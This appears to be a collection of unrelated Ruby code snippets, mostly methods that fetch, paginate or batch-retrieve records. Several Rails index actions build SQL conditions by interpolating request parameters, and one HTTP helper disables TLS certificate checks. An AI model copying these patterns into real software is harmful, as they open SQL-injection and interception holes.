"def find_all *keys\n ensure_service!\n lookup_res = service.lookup(*Array(keys).flatten.map(&:to_grpc),\n transaction: @id)\n LookupResults.from_grpc lookup_res, service, nil, @id\n end",
"def getLocationMultiple( location_ids)\n params = Hash.new\n params['location_ids'] = location_ids\n return doCurl(\"get\",\"/location/multiple\",params)\n end",
"def fetch_results!\n raise NoTargets if targets.empty?\n\n targets.uniq!\n\n puts 'searching the AUR...'\n results = Rpc.new(:multiinfo, *targets).call\n\n # we need the results in the order of our targets (so dependencies\n # are installed first). unfortunately, the rpc returns results\n # alphabetically. assumption is the reordering done here is\n # cheaper than making per-target rpc calls.\n targets.each do |target|\n if result = results.detect {|r| r.name == target}\n @results << result\n else\n raise NoResults.new(target)\n end\n end\n end",
"def batch_query\n render nothing: true\n\n # logger.info \"params: \" + params.inspect\n #\n # endpoints_all = Endpoint.all\n # logger.info \"List of all endpoints:\"\n # endpoints_all.each do |endpoint|\n # logger.info ' name: ' + endpoint[:name] + ', url: ' + endpoint[:base_url]\n # end\n\n # Select endpoints using array of endpoint names;\n # Unfortunately, they are not necessarily unique\n endpoint_names = params[:endpoint_names]\n logger.info 'param endpoint_names:' + endpoint_names.inspect\n selected_endpoints = []\n if endpoint_names\n parse_array(endpoint_names).each do |endpoint_name|\n match_ep = Endpoint.find_by_name(endpoint_name)\n if match_ep\n logger.info endpoint_name.to_s + ' matches: ' + match_ep[:name].inspect\n selected_endpoints.push(match_ep)\n else\n logger.info 'WARNING: ' + endpoint_name.to_s + ' has no match!'\n end\n end\n end\n # logger.info 'selected endpoings: ' + selected_endpoints.inspect\n\n\n # users = User.all\n # users.each do |user|\n # logger.info 'username: ' + user[:username]\n # end\n\n # queries_all = Query.all\n # logger.info \"List of all queries:\"\n # queries_all.each do |query|\n # logger.info ' title: ' + query[:title] + ', desc: ' + query[:description]\n # end\n\n # Select query using array of query descriptions;\n # Unfortunately, they are not necessarily unique\n #query_titles = params[:query_titles]\n username = params[:username]\n current_user = User.find_by_username(username)\n if current_user\n query_descriptions = params[:query_descriptions]\n # logger.info 'param query_descriptions:' + query_descriptions.inspect\n selected_queries = []\n if query_descriptions\n parse_array(query_descriptions).each do |query_desc|\n match_query = current_user.queries.find_by_description(query_desc)\n if match_query\n logger.info query_desc + ' matches: ' + match_query[:description].inspect\n selected_queries.push(match_query)\n else\n logger.info 'WARNING: ' + query_desc + ' has no match!'\n end\n end\n end\n end\n # logger.info 'selected queries: ' + selected_queries.inspect\n\n if selected_endpoints && !selected_endpoints.empty? &&\n selected_queries && !selected_queries.empty?\n notify = params[:notification]\n selected_queries.each do |eachQuery|\n #Parallel.each(selected_queries, :in_threads=>15) do |eachQuery|\n # execute the query, and pass in the endpoints and if the user should be notified by email when execution completes\n # logger.info 'title: ' + eachQuery[:title].inspect\n # logger.info 'desc: ' + eachQuery[:description].inspect\n # logger.info 'user_id: ' + eachQuery[:user_id].inspect\n eachQuery.execute(selected_endpoints, notify)\n end\n else\n flash[:alert] = 'Cannot execute a query if no endpoints are provided.'\n end\n end",
"def multiget(*jids)\n results = JSON.parse(@client.call('multiget', *jids))\n results.map do |data|\n Job.new(@client, data)\n end\n end",
"def gets(*several_variants)\n #This is a stub, used for indexing\n end",
"def test_all\n assert_gets(\"/api/v2/#{api_class}?offset=0&limit=999\") { wf.all }\n end",
"def get_all(model, opts = {})\n name = model_name(model)\n opts.symbolize_keys!\n\n all = []\n page = 1\n done = false\n ###########\n while !done\n this_page = do_restful_action(\"get_all_#{page}\", name) do\n all_opts = {:format => :json, :accept => :json, :params => {:page => page}}\n self.nagyo[\"#{name}\"].get(all_opts.merge(opts))\n end\n if this_page.nil? or this_page.empty?\n done = true\n next\n end\n all += this_page\n\n # do something with this_page ... if asked to\n yield this_page if block_given?\n\n page += 1\n end\n ###########\n\n return all\n end",
"def temporary_fetch\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=2114410807&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 1)\n\n # Assessment 2\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=1657164873&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 2)\n\n # Assessment 3\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=1278939598&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 3)\n\n # Assessment 4\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=397189839&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 4)\n\n # Assessment 5\n url = \"https://docs.google.com/spreadsheets/d/1woXBbju2J6lYU5nKFKDU3nBySgKW9MWP_vEkG7FsnWs/pub?gid=13824931&single=true&output=csv\"\n data1 = CSV.parse(open(url).read)\n parse_into_items(data1, 5)\n\n return Item.list\nend",
"def get\n Iterable.request(conf, base_path).get\n end",
"def get\n Iterable.request(conf, base_path).get\n end",
"def test_get_all_with_pagination\n # CASE 01: Mention of start_index and max_results\n # CASE 02: Mention of Order by with direction\n # CASE 03: Mention of Order by without direction\n # CASE 04: Mention a condition also\n # CASE 05: Getting only details of an entity\n \n user = User.find_by_id(@db1_admin_user_id)\n \n parent_resource = :entity_id\n parent_id = 100\n start_index = 10\n max_results = 10\n order_by = 'name'\n direction = 'DESC'\n table_name = 'instances'\n conditions = 'database_id=6'\n total_records = 0\n conditions = 'id=50'\n \n start_index = 0\n max_results = 1\n conditions = \"entity_id=#{parent_id}\"\n total_records = Instance.count_by_sql \"SELECT COUNT(*) FROM #{table_name} WHERE #{conditions}\"\n #########################################################\n # CASE 01\n # Mention of start_index and max_results\n #########################################################\n get :index, {\n parent_resource => parent_id,\n :format => 'json', \n :start_index => start_index, \n :max_results => max_results},\n {'user' => user}\n \n #assert_equal '', @response.body\n assert_response 200\n result = @response.body\n\n result = JSON.parse(result)\n\n assert_equal max_results, result['resources'].length\n assert_equal total_records, result['total_resources'].to_i\n \n \n order_by = 'name'\n direction = 'desc'\n start_index = 0\n max_results = 10\n #########################################################\n # CASE 02\n # Mention of order by with direction\n #########################################################\n get :index, {\n parent_resource => parent_id,\n :format => 'json', \n :start_index => start_index, \n :max_results => max_results,\n :order_by => order_by,\n :direction => direction\n },\n {'user' => user}\n \n #assert_equal '', @response.body\n assert_response 200\n result = @response.body\n\n result = JSON.parse(result)\n\n assert_equal 2, result['resources'].length\n assert_equal 'desc', result['direction']\n #assert_equal 201, result['resources'][0]['url'].chomp('.json')[/\\d+$/].to_i\n \n #########################################################\n # CASE 03\n # Mention of order by without direction\n #########################################################\n get :index, {\n parent_resource => parent_id,\n :format => 'json', \n :start_index => start_index, \n :max_results => max_results,\n :order_by => order_by,\n #:direction => direction\n },\n {'user' => user}\n \n #assert_equal '', @response.body\n assert_response 200\n result = @response.body\n\n result = JSON.parse(result)\n\n assert_equal 2, result['resources'].length\n assert_equal 'asc', result['direction']\n #assert_equal 200, result['resources'][0]['url'].chomp('.json')[/\\d+$/].to_i\n \n# FIXME: Following two tests always fail either in isolation or\n# in a complete execution of the tests due to disabling transactional fixtuers \n# start_index = 0\n# max_results = 10\n# order_by = 'name'\n# conditions = \"category='Fiction'\"\n# #########################################################\n# # CASE 04\n# # Mention of order by specifying condition\n# #########################################################\n# get :index, {\n# parent_resource => parent_id,\n# :format => 'json', \n# :start_index => start_index, \n# :max_results => max_results,\n# :order_by => order_by,\n# :conditions => conditions\n# },\n# {'user' => user}\n# #assert_equal '', @response.body\n# assert_response 200\n# result = @response.body\n# result = JSON.parse result\n# assert_equal 1, result['resources'].length\n# assert_equal 'asc', result['direction']\n# #assert_equal 201, result['resources'][0]['url'].chomp('.json')[/\\d+$/].to_i\n# \n# conditions = \"category='Computer Science' AND name='Compiler, Principles, Tools and Techniques'\"\n# #########################################################\n# # CASE 05\n# # Mention of compound conditions\n# #########################################################\n# get :index, {\n# parent_resource => parent_id,\n# :format => 'json', \n# :start_index => start_index, \n# :max_results => max_results,\n# :order_by => order_by,\n# :conditions => conditions\n# },\n# {'user' => user}\n# assert_equal '', @response.body\n# assert_response 200\n# result = @response.body\n# result = JSON.parse result\n# assert_equal 1, result['resources'].length\n# assert_equal 'asc', result['direction']\n# assert_equal 200, result['resources'][0]['url'].chomp('.json')[/\\d+$/].to_i\n \n \n end",
"def bulk_APIrequests(uri_end, request_type, hash_arr)\r\n\tif(hash_arr.length>0) then\r\n\t\thash_arr.each_slice(99) do |x|\r\n\t\t\tjson = JSON.generate({uri_end => x})\r\n\t\t\t#puts json\r\n\t\t\tres = make_API_request(uri_end,request_type,json)\r\n\t\tend\r\n\telse puts \"No data for #{request_type.capitalize} in array\" end\r\nend",
"def api_get url_suffix\n url = URI::encode \"#{@@oauth_info[:api_url]}/gems/#{url_suffix}\"\n data = {:client_id => @@oauth_info[:client_id]}\n headers = {:Authorization => \"Bearer #{@access_token}\"}\n\n conn = get_conn url\n #Try request 3 times\n for i in 1..3\n res = conn.get(url, data, headers)\n if res.status == 200 then return JSON.parse(res.body) end\n sleep 1\n end\n raise OAuthSessionError, \"GET Failed. Status: #{res.status}. Body: #{res.body}\"\n end",
"def collect1 pages\n id = 'joshuabaer'\n results = []\n 1.upto pages do |page|\n results += http_get id, page\n end\n results\nend",
"def find_all(req)\n raise NotImplementedError\n end",
"def fetch_multi(*ids)\n options = ids.extract_options!\n if IdentityCache.should_cache?\n\n require_if_necessary do\n cache_keys = ids.map {|id| rails_cache_key(id) }\n key_to_id_map = Hash[ cache_keys.zip(ids) ]\n\n objects_by_key = IdentityCache.fetch_multi(*key_to_id_map.keys) do |unresolved_keys|\n ids = unresolved_keys.map {|key| key_to_id_map[key] }\n records = find_batch(ids, options)\n records.compact.each(&:populate_association_caches)\n records\n end\n\n cache_keys.map {|key| objects_by_key[key] }.compact\n end\n\n else\n find_batch(ids, options)\n end\n end",
"def all(options = {})\n raise MethodNotAllowed.new(self, :all) unless self.class.permissions && self.class.permissions[:read]\n response_body = http_get(parse_params(options))\n response = parse_response(response_body, options)\n response_items = response.response_items || []\n end",
"def searches\n Boundary.get(@url)\n end",
"def all\n setup_request \"#{@@resource_url}s\"\n end",
"def all(offset = 0, limit = 0)\n @client.get(\"/#{@model}s\", {offset: offset, limit: limit})\n end",
"def get(urls)\n if urls.nil? or urls.empty? then\n return {}\n end\n\n urls = [urls] if not urls.kind_of? Array\n urls.each_with_index do |url, i|\n @reqs[i] = url.to_s\n end\n\n results = perform()\n\n ret = []\n (0..results.size-1).each do |i|\n ret << results[i]\n end\n\n return ret\n end",
"def get_list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/\", params)\n end",
"def test_sets_options_from_passed_options_and_ups_min_id\n connection.expects(:get).with(api_url, target_first_params).returns(get_response)\n search_query.next_results_page\n connection.expects(:get).with(api_url, target_subsequent_params).returns(get_response)\n search_query.next_results_page\n end",
"def get_data\n uri = URI(\"#{@url_base}/#{@url_path}\")\n uri.query = @params\n use_ssl = { use_ssl: uri.scheme == 'https', verify_mode: OpenSSL::SSL::VERIFY_NONE }\n response = {}\n\n Net::HTTP.start(uri.host, uri.port, use_ssl) do |http|\n request = Net::HTTP::Get.new(uri)\n response = http.request(request)\n end\n\n raise JSON.parse(response.body)['error'] if !JSON.parse(response.body)['error'].nil?\n\n raise \"page_arg_must_be_integer\" if !@page_number.empty? && @page_number.scan(/\\d/).join('').to_i == 0\n\n raise \"no_response\" if JSON.parse(response.body).nil?\n\n raise \"no_orders_found\" if JSON.parse(response.body)['orders'].nil?\n\n { res: JSON.parse(response.body), status: get_response_status(response) }\n end",
"def get_all(*path, query: nil, api_v1: true)\n query = {} if query.nil?\n query[:limit] = 250\n body = {}\n\n [].tap do |body_values|\n until body[\"isLastPage\"] == true do\n url = encode_url(\n path: path,\n query: query,\n api_v1: api_v1\n )\n\n body = faraday_safe(:get, url).body\n body_values.concat(body[\"values\"])\n\n query[:start] = body[\"nextPageStart\"]\n end\n end\n end",
"def all\n @cache ||= Request.get('/data')\n\n end",
"def fetch_batch(ids)\n # ids must be complete CNs\n filter = nil\n ids.each do |id|\n filter = if filter.nil?\n obj_filter(id)\n else\n filter | obj_filter(id)\n end\n end\n admin_ldap.search(base: @base, filter: filter)\n end",
"def fetch_data(offset_start, offset_end, &block)\n request = Net::HTTP::Get.new(@get_uri.request_uri)\n request.basic_auth(@user, @pass) unless @user.nil? || @pass.nil?\n request.set_range(offset_start..offset_end)\n connection(@get_uri).request(request, &block)\n end",
"def get_all\n get_countries_if_necessary\n get_subjects_if_necessary\n get_qualifications_if_necessary\n end",
"def index\n begin\n params[:conditions] = add_condition(params[:conditions], \n \"database_id=#{params[:database_id]}\", :and)\n \n @parcel = get_paginated_records_for(\n :for => Entity,\n :star_index => params[:start_index], \n :max_results => params[:max_results],\n :order_by => params[:order_by], \n :direction => params[:direction], \n :conditions => params[:conditions])\n \n render :response => :GETALL\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"def fetch_all(options = {}, &block)\n use_callback = block_given?\n url = self.new.sync_url(options[:method] || :get, options)\n\n fetch_all_with_url url, options do |records, status_code, response|\n records.each(&:save) if options[:save]\n block.call(records, status_code, response) if use_callback\n end if !url.blank?\n end",
"def query_multiple_results(query_string, provided_client = nil)\n results = with_client(provided_client) do |client|\n result = []\n result << client.query(query_string)\n result << client.store_result while client.next_result\n result.compact\n end\n\n results.map(&:to_a)\n end",
"def multiple(types = [], params = {})\n valid_types = types.reject { |t| !Getclicky::Types::ALL.include?(t.intern) }\n response = Getclicky::Request.new(valid_types.join(','), params).get\n response.data\n end",
"def index\n if params[:cart_id]\n get_cart\n @items = Item.where(cart: @cart)\n elsif params[:order_id]\n get_order\n @items = Item.where(order: @order)\n end\n render json: @items, status: 200\n end",
"def index\n begin\n condition = \"(parent_id=#{params[:entity_id]} or child_id=#{params[:entity_id]})\"\n params[:conditions] = add_condition(params[:conditions], condition, :and)\n @parcel = get_paginated_records_for(\n :for => Relation,\n :start_index => params[:start_index],\n :max_results => params[:max_results],\n :order_by => params[:order_by],\n :direction => params[:direction],\n :conditions => params[:conditions]\n )\n \n render :response => :GETALL\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n \n end",
"def exec_request\n @urls.map { |url| fetch(url) }\n end",
"def show\n @films_all = HTTParty.get('https://swapi.co/api/films',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_1 = HTTParty.get('https://swapi.co/api/people',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_2 = HTTParty.get('https://swapi.co/api/people/?page=2',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_3 = HTTParty.get('https://swapi.co/api/people/?page=3',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_4 = HTTParty.get('https://swapi.co/api/people/?page=4',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_5 = HTTParty.get('https://swapi.co/api/people/?page=5',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_6 = HTTParty.get('https://swapi.co/api/people/?page=6',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_7 = HTTParty.get('https://swapi.co/api/people/?page=7',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_8 = HTTParty.get('https://swapi.co/api/people/?page=8',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @characters_all_9 = HTTParty.get('https://swapi.co/api/people/?page=9',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @starships_all_1 = HTTParty.get('https://swapi.co/api/starships',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @starships_all_2 = HTTParty.get('https://swapi.co/api/starships/?page=2',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @starships_all_3 = HTTParty.get('https://swapi.co/api/starships/?page=3',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @starships_all_4 = HTTParty.get('https://swapi.co/api/starships/?page=4',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @planets_all_1 = HTTParty.get('https://swapi.co/api/planets',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @planets_all_2 = HTTParty.get('https://swapi.co/api/planets/?page=2',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @planets_all_3 = HTTParty.get('https://swapi.co/api/planets/?page=3',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @planets_all_4 = HTTParty.get('https://swapi.co/api/planets/?page=4',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @planets_all_5 = HTTParty.get('https://swapi.co/api/planets/?page=5',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @planets_all_6 = HTTParty.get('https://swapi.co/api/planets/?page=6',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n @planets_all_7 = HTTParty.get('https://swapi.co/api/planets/?page=7',\n :headers =>{'Content-Type' => 'application/json'} )['results']\n\n\n\n\n \n @planet = HTTParty.get(\"https://swapi.co/api/planets/#{params[:id]}\",\n :headers =>{'Content-Type' => 'application/json'} )\n\n @characters = []\n @planet['residents'].each do |cha|\n cha_id = cha.split('/')[5]\n @characters.push(HTTParty.get(\"https://swapi.co/api/people/#{cha_id}\",\n :headers =>{'Content-Type' => 'application/json'} ))\n end\n\n @films = []\n @planet['films'].each do |film|\n film_id = film.split('/')[5]\n @films.push(HTTParty.get(\"https://swapi.co/api/films/#{film_id}\",\n :headers =>{'Content-Type' => 'application/json'} ))\n end\n\n end",
"def search(*args)\n db = nil\n missmatch = nil\n \n if args[0] =~ /^http/\n args[0].sub!(BASE_URL, '')\n args[0].sub!(/^\\//,'')\n args[0].sub!(\".json\", '')\n args = args[0].split(\"/\") \n end\n \n case args.size\n when 1\n seq = args.shift\n when 2\n if args[0].to_s.strip =~ /^[0-9]+$/\n missmatch,seq = args\n else\n db,seq = args\n end \n when 3\n db,missmatch,seq = args\n else\n raise ArgumentError\n end \n query = ['', db, missmatch, seq].compact.join(\"/\")\n path = query + \".json\"\n begin\n response = @http.get(path, @header)\n rescue\n end\n\n case response.code\n when \"200\"\n JSON.parse(response.body)\n when \"302\"\n location = response.header['Location']\n search(location)\n else\n nil\n end\n end",
"def fetch_all_with_url(url, options = {}, &block)\n use_callback = block_given?\n App.delegate.api_client.get(url) do |response, status_code|\n if response.present?\n records = fetch_all_with_attributes(response, save_associations: options[:save], &block)\n else\n records = []\n end\n block.call(records, status_code, response) if use_callback\n end\n end",
"def index\n if !/(scrape)/.match(request.url).nil?\n # obviously temporary \n commence_scraping\n elsif !/(releases.json)/.match(request.url).nil?\n get_releases\n elsif !/(videos.json)/.match(request.url).nil?\n get_youtube\n elsif !/(merch.json)/.match(request.url).nil?\n get_merch\n elsif !/(youtube_api_fetch)/.match(request.url).nil?\n youtube_api_fetch\n end\n end",
"def index\n #NOTE! WE DO NOT IMPLEMENT PAGINATION FOR VALUES ON PURPOSE!\n #values = get_all_values(params[:instance_id], params[:detail_id])\n begin\n condition = \"(instance_id=#{params[:instance_id]} AND detail_id=#{params[:detail_id]})\"\n params[:conditions] = add_condition(params[:conditions], condition, :and)\n \n @parcel = get_paginated_records_for(\n :for => DetailValue,\n :instance_id => params[:instance_id],\n :detail_id => params[:detail_id],\n :start_index => params[:start_index],\n :max_results => params[:max_results],\n :order_by => params[:order_by],\n :direction => params[:direction],\n :conditions => params[:conditions]\n )\n render :response => :GETALL\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n\n end",
"def get_objects(method, key, params = {})\n self.class.get(\"/#{method}\", query: { token: @token }.merge(params)).tap do |response|\n p \"error retrieving #{key} from #{method}: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end.fetch(key)\n end",
"def obligations\n self.class.get(url, { headers: @headers, query: @query })\n end",
"def index\n @querylists = HTTParty.post(\"http://66.175.217.67:3020/argames/getQuery\", :body => { :checkFilter => '' }, :headers => {\"Authorization\" => \"Bearer \" + ENV[\"API_KEY\"] })\n end",
"def index\n if params[:issue_id].present?\n @responses = Response.where( issue_id: params[:issue_id])\n elsif params[:install_id].present?\n @responses = Response.where( install_id: params[:install_id])\n else\n @responses = Response.all\n end\n end",
"def test_get_with_reused_connection\n if self.respond_to?(:get_response_multi)\n n = 2\n responses = nil\n\n in_transaction do\n responses = get_response_multi(default_url, n)\n end\n\n responses.each do |res|\n assert_match %r{<head>}i, body(res)\n end\n\n expected = {:call_count => n}\n\n assert_externals_recorded_for('localhost', 'GET', :counts => expected)\n end\n end",
"def all(*vars)\n result = Query.get self, *vars\n result.get_docs\n end",
"def retrieve(anns)\t\t\n\t\tresults = anns.collect do |ann|\n\t\t\tif @results_cache.include? ann[:requested_query]\n\t\t\t\tget_from_cache(ann[:requested_query], ann[:original_query], ann[:offset], ann[:sim])\n\t\t\telse\n\t\t\t\tsearch_db(ann[:requested_query], ann[:original_query], ann[:offset], ann[:sim])\n\t\t\tend\n\t\tend\n\t\tresults.reject { |ann| ann == [] }\n\t\tresults.flatten\n\tend",
"def fetch_items(*keys, **kwargs)\n keys.flatten.map do |key|\n fetch_item(key, method: :all, **kwargs)\n end.flatten\n end",
"def fetch_many(ids, extra_controller_params)\n extra_controller_params ||= {}\n\n query = search_builder\n .with(search_state)\n .where(blacklight_config.document_model.unique_key => ids)\n .merge(blacklight_config.fetch_many_document_params)\n .merge(extra_controller_params)\n\n solr_response = repository.search(query)\n\n solr_response.documents\n end",
"def fetch_all_item_details(state: ['public'], **options)\n items = fetch_all_items(**options)\n item_ids = items.select { state.include?(_1['state']) }.map { _1['id'] }\n urls = item_ids.map { \"/items/#{_1}.json\" }\n pages = concurrent_get(urls)\n pages.map { JSON.parse(_1.body) }\n end",
"def test_specifics_index_views\n ebay_singles = generate_ebay_items_with_size(25, \"7\\\"\")\n ebay_singles.map {|ebay_item| ebay_item.save}\n get :singles, :page => 1, :sort => ENDTIME, :order => DESC\n check_index_items(ebay_singles.reverse[0..19])\n\n ebay_eps = generate_ebay_items_with_size(25, \"10\\\"\")\n save_ebay_items(ebay_eps)\n get :eps, :page => 1\n check_index_items(ebay_eps.reverse[0..19])\n\n ebay_lps = generate_ebay_items_with_size(25, \"LP\")\n save_ebay_items(ebay_lps)\n get :lps, :page => 1\n check_index_items(ebay_lps.reverse[0..19])\n\n other_items = generate_ebay_items_with_size(25, \"something else\")\n save_ebay_items(other_items)\n get :other, :page => 1\n check_index_items(other_items.reverse[0..19])\n end",
"def fetch(resource, params = {})\n method = :get\n page = 1\n\n params[:page] = page\n partial = request(resource, method, params)\n while partial.is_a?(Array) && !partial.empty?\n results ||= []\n results += partial\n page += 1\n params[:page] = page\n partial = request(resource, method, params)\n end\n\n results = partial unless partial.nil? || partial.empty?\n results\n end",
"def _get_all(keys)\r\n\t\treq = VoldemortRequest.new\r\n\t\treq.should_route = true\r\n\t\treq.store = @store_name\r\n\t\treq.type = RequestType::GET_ALL\r\n req.getAll = GetAllRequest.new\r\n\t\tfor key in keys\r\n\t\t\treq.getAll.keys << key\r\n end\r\n\r\n\t\t# send request\r\n\t\t_send_request(@connection, req.serialize_to_string())\r\n\r\n\t\t# read and parse response\r\n\t\tresp_str = _receive_response(@connection)\r\n\t\tresp = GetAllResponse.new\r\n\t\tresp = resp.parse_from_string(resp_str)\r\n\t\t_check_error(resp)\r\n\t\tvalues = {}\r\n\t\tfor key_val in resp.values\r\n\t\t\tvalues[key_val.key] = _extract_versions(key_val.versions)\r\n end\r\n\t\treturn values\r\n end",
"def multi_from_path(path)\n without_slash = path.gsub(/^\\//, \"\")\n request_object(:get, \"/api/multi/\" + without_slash)\n end",
"def index\n begin\n \n @parcel = get_paginated_records_for(\n :for => Account,\n :start_index => params[:start_index],\n :max_results => params[:max_results],\n :order_by => params[:order_by],\n :direction => params[:direction],\n :conditions => params[:conditions]\n )\n render :response => :GETALL\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n \n end",
"def index\n if params.include?(:user)\n @requests = Request.where(user_id: params[:user]).paginate(:page => params[:page], :per_page => 5)\n .order(open: :desc, start_date: :asc)\n elsif params.include?(:active)\n @requests = Request.open.paginate(:page => params[:page], :per_page => 5).order(open: :desc, start_date: :asc)\n elsif params.include?(:applied)\n @requests = Request.joins(:responses).open.where(\"responses.user_id = ?\", current_user)\n .paginate(:page => params[:page], :per_page => 5).order(open: :desc, start_date: :asc)\n else\n @requests = Request.paginate(page: params[:page])\n end\n @responses = Response.all\n end",
"def fetch_multi(*ids)\n ensure_base_model\n raise_if_scoped\n raise NotImplementedError, \"fetching needs the primary index enabled\" unless primary_cache_index_enabled\n options = ids.extract_options!\n ids.flatten!(1)\n records = if IdentityCache.should_use_cache?\n require_if_necessary do\n cache_keys = ids.map {|id| rails_cache_key(id) }\n key_to_id_map = Hash[ cache_keys.zip(ids) ]\n key_to_record_map = {}\n\n coders_by_key = IdentityCache.fetch_multi(cache_keys) do |unresolved_keys|\n ids = unresolved_keys.map {|key| key_to_id_map[key] }\n records = find_batch(ids)\n key_to_record_map = records.compact.index_by{ |record| rails_cache_key(record.id) }\n records.map {|record| coder_from_record(record) }\n end\n\n cache_keys.map{ |key| key_to_record_map[key] || record_from_coder(coders_by_key[key]) }\n end\n else\n find_batch(ids)\n end\n records.compact!\n prefetch_associations(options[:includes], records) if options[:includes]\n records\n end",
"def fetch_urls\n # Crazy crazy URLs to try to find PARSE_PARAMS in Sfx4 db that have a period in\n # them, so they look like they might be URLs. Parse params could be at target service\n # level, or at portfolio level; and could be in local overrides or in global kb. \n # This is crazy crazy SQL to get this, sorry. Talking directly to SFX db isn't\n # a great idea, but best way we've found to get this for now. Might make more\n # sense to try to use the (very very slow) SFX export in the future instead. \n sql = %{\n SELECT \n COALESCE(LCL_SERVICE_LINKING_INFO.PARSE_PARAM,KB_TARGET_SERVICES.PARSE_PARAM) PARSE_PARAM\n FROM\n LCL_TARGET_INVENTORY\n JOIN sfxglb41.KB_TARGET_SERVICES\n ON KB_TARGET_SERVICES.TARGET_ID = LCL_TARGET_INVENTORY.TARGET_ID\n JOIN LCL_SERVICE_INVENTORY \n ON LCL_TARGET_INVENTORY.TARGET_ID = LCL_SERVICE_INVENTORY.TARGET_ID\n LEFT OUTER JOIN LCL_SERVICE_LINKING_INFO\n ON LCL_SERVICE_INVENTORY.TARGET_SERVICE_ID = LCL_SERVICE_LINKING_INFO.TARGET_SERVICE_ID\n WHERE\n ( LCL_SERVICE_LINKING_INFO.PARSE_PARAM like '%.%' OR\n KB_TARGET_SERVICES.PARSE_PARAM like '%.%' )\n AND\n LCL_SERVICE_INVENTORY.ACTIVATION_STATUS='ACTIVE'\n AND\n LCL_TARGET_INVENTORY.ACTIVATION_STATUS = 'ACTIVE'\n\n UNION\n -- object portfolio parse param version\n SELECT\n COALESCE(LCL_OBJECT_PORTFOLIO_LINKING_INFO.PARSE_PARAM, KB_OBJECT_PORTFOLIOS.PARSE_PARAM) PARSE_PARAM\n FROM\n sfxglb41.KB_OBJECT_PORTFOLIOS\n JOIN LCL_SERVICE_INVENTORY\n ON KB_OBJECT_PORTFOLIOS.TARGET_SERVICE_ID = LCL_SERVICE_INVENTORY.TARGET_SERVICE_ID\n JOIN LCL_OBJECT_PORTFOLIO_INVENTORY\n ON KB_OBJECT_PORTFOLIOS.OP_ID = LCL_OBJECT_PORTFOLIO_INVENTORY.OP_ID\n left outer join LCL_OBJECT_PORTFOLIO_LINKING_INFO\n ON KB_OBJECT_PORTFOLIOS.OP_ID = LCL_OBJECT_PORTFOLIO_LINKING_INFO.OP_ID \n WHERE\n ( KB_OBJECT_PORTFOLIOS.PARSE_PARAM like '%.%' OR \n LCL_OBJECT_PORTFOLIO_LINKING_INFO.PARSE_PARAM like '%.%' )\n AND LCL_OBJECT_PORTFOLIO_INVENTORY.ACTIVATION_STATUS = 'ACTIVE' \n AND LCL_SERVICE_INVENTORY.ACTIVATION_STATUS='ACTIVE'\n }\n\n results = connection.select_all(sql)\n urls = []\n results.each do |line|\n param_string = line[\"PARSE_PARAM\"]\n # Try to get things that look sort of like URLs out. Brutal force,\n # sorry. \n url_re = Regexp.new('(https?://\\S+\\.\\S+)(\\s|$)')\n urls.concat( param_string.scan( url_re ).collect {|matches| matches[0]} ) \n end \n urls.uniq!\n return urls\n end",
"def get_all\n raise UnsupportedOperation\n end",
"def get_data(lists)\n say('Getting data...')\n # build the request\n request_body = ''\n lists.each do |list|\n request_body += \"#{list};\"\n\n # append a:1,2,3,4,5,8\n add = get_add_chunks(list)\n if(add != '' && add != nil)\n request_body += \"a:#{add}\"\n end\n\n # append [:]s:6,7,9,11\n sub = get_sub_chunks(list)\n if(sub != '' && sub != nil)\n if(add != '' && add != nil)\n request_body += \":\"\n end\n\n request_body += \"s:#{sub}\"\n end\n\n request_body += \"\\n\"\n end\n\n say \"Request body: #{request_body}\"\n response = api_request(\"downloads\", request_body)\n response = response.split(\"\\n\")\n\n # parse the response\n say('Handling response...')\n cur_list = ''\n redirects = {}\n response.each do |line|\n line = line.split(':')\n type = line[0]\n data = line[1]\n\n if(type == 'n')\n # set the next allowed time to poll\n delay = Time.now + data.to_i\n say(\"Time until next request: #{data}\")\n $redis.setex(\"delay\", data.to_i, delay.to_i)\n elsif(type == 'i')\n # set the current list\n cur_list = data\n redirects[cur_list] = []\n say(\"Current list: #{cur_list}\")\n elsif(type == 'u')\n # store the redirect\n say(\"Redirect: #{data}\")\n redirects[cur_list].push(data)\n elsif(type == 'ad')\n say(\"Delete chunks: #{data}\")\n chunks = 